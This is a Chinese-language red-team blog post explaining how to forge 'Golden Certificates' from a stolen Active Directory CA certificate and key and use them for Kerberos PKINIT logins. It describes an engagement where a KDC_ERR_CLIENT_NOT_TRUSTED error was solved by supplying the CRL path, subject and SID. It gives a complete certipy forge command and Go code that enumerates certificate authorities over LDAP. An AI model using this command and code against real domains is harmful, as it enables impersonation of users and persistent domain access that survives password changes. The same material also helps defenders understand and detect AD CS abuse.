Golden Certificates解决KDC_ERR_CLIENT_NOT_TRUSTED

什么是黄金证书

Golden Certificates 是用 CA 的证书和私钥手动伪造的证书。

在有ADCS的域内,是蓝宝石、钻石票据的替代方案,可以通过PKINIT伪造可用于 Kerberos 身份验证的证书,而不是伪造TGT。

前置知识:

ADCS可为域用户和机器账户申请证书。
PKINIT为Kerberos的扩展协议,可通过X.509证书用来获取Kerberos票据。总而言之可以将申请的证书转化为对应的TGT。(域用户转为域用户的TGT,机器账户转为机器账户的TGT)
PKCA扩展协议认证的时候,返回的PAC中包含了NTLM票据。(可以从用户证书中提取ntlm hash)
证书吊销列表(CRL)是在实际或指定的到期日期之前已被颁发证书颁发机构(CA)吊销的数字证书的列表;它是一种阻止列表,其中包含不应再受信任的证书,并由各种端点(包括Web浏览器)使用来验证证书是否有效且值得信赖,并且CRL文件由CA签名以防止篡改。

优点

伪造证书于伪造其他证书的优点:

1.相比其他证书的伪造,Golden Certificates是相对正常的申请行为。

2.只要伪造了A用户的证书,那么只要A用户没有被disabled、baned、Deleted,就算更改密码,依然可以通过kerberos进行身份认证;而其他票据需要重新申请。

一次案例

有一次项目中,通过Golden Certificates进行认证出现KDC_ERR_CLIENT_NOT_TRUSTED:

因为客户端信任失败或未实施:当用户的智能卡证书被吊销或颁发智能卡证书(在链中)的根证书颁发机构不受域控制器信任时,通常会发生这种情况。

网上已有的文章提出手动指定CRL和使用以前颁发的证书作为template,包括其他各种各样的方案,但发现还是都无法解决问题:

如果 KDC 返回KDC_ERR_CLIENT_NOT_TRUSTED ,则表示锻造不正确。发生这种情况通常是因为证书中缺少证书吊销列表 (CRL)。您可以使用-crl手动指定 CRL,也可以通过-template参数使用以前颁发的证书作为模板。请注意,模板将包含新证书中所有未定义的扩展和属性,例如主题和序列号。

通过指定ADCS的Enrollment CA和FQDN的完整路径为CRL,但这个域经过微软官方加固,所有对象的绝对DN路径都经过修改,通过自己写的工具找到了对应的路径;后续还是有问题,需要提供所伪造用户的subject和sid,搞定,完整命令:

certipy forge -ca-pfx xxx.pfx -upn username@redteam.lab -subject 'CN=targetuser,OU=xxx,OU=xxx,DC=redteam,DC=lab' -crl 'CN=Enrollment-CA-Name,CN=ADCS-Computer-Name,CN=CDP,CN=Public Key Services,CN=Services,CN=Configuration,DC=redteam,DC=lab' -sid S-1-5-21-2431596327-3145425540-3131828628-xxxx

附上查找ADCS对应的Enrollment CA和FQDN方法:

func GETADCS(conn *ldap.Conn, baseDN string, domainname string) {
	base := "dc=" + strings.Replace(domainname, ".", ",dc=", -1)
	attributes := []string{
		"Root CA",
		"Enterprise CA",
		"cn",
		"distinguishedName",
		"dNSHostName",
		"whenCreated",
		"whenChanged",
		"ADCSip"}
	filter := "(objectclass=certificationAuthority)"
	filter1 := "(objectClass=pKIEnrollmentService)"
	csv := [][]string{}
	csv = append(csv, attributes)

	sr := ldapSearch(baseDN, filter, attributes, conn)
	sr1 := ldapSearch(baseDN, filter1, attributes, conn)

	if len(sr.Entries) > 0 {
		fmt.Printf("[i] ADCS has found!\n")

		for _, entry := range sr.Entries {
			if (strings.Index(entry.GetAttributeValue("distinguishedName"), "Certification Authorities")) != -1 {
				data := []string{
					"√",
					"",
					entry.GetAttributeValue("cn"),
					entry.GetAttributeValue("distinguishedName"),
					"",
					entry.GetAttributeValue("whenCreated"),
					entry.GetAttributeValue("whenChanged")}
				csv = append(csv, data)
				fmt.Printf("                    [+] Root CA:" + "  ==>>>  " + entry.GetAttributeValue("cn") + "\n")
			}
		}
		var adcsname string
		for _, entry := range sr1.Entries {

			adcsname = strings.Replace(entry.GetAttributeValue("dNSHostName"), "."+domainname, "", -1)
			var adcsips = GetipByname(conn, "DC="+domainname+",CN=MicrosoftDNS,DC=DomainDnsZones,"+base, adcsname)
			var resultip string
			for _, i := range adcsips {
				resultip += i + " "
			}
			fmt.Printf("                    [+] Enterprise/Enrollment CA:" + "  ==>>>  " + entry.GetAttributeValue("cn") + "(computer FQDN: " + entry.GetAttributeValue("dNSHostName") + ")" + "  ==>>>  " + resultip + "\n")

			data := []string{
				"",
				"√",
				entry.GetAttributeValue("cn"),
				entry.GetAttributeValue("distinguishedName"),
				entry.GetAttributeValue("dNSHostName"),
				entry.GetAttributeValue("whenCreated"),
				entry.GetAttributeValue("whenChanged"),
				resultip}

			csv = append(csv, data)
		}
		writeCSV("ADCS", csv)
	} else {
		fmt.Printf("[i] ADCS has not found!\n")
	}
}

Ref

https://www.techtarget.com/searchsecurity/definition/Certificate-Revocation-List
https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d

  • Created 2024-11-10 14:40
  • Published 2024-10-08 23:12
  • Updated 2024-11-10 16:36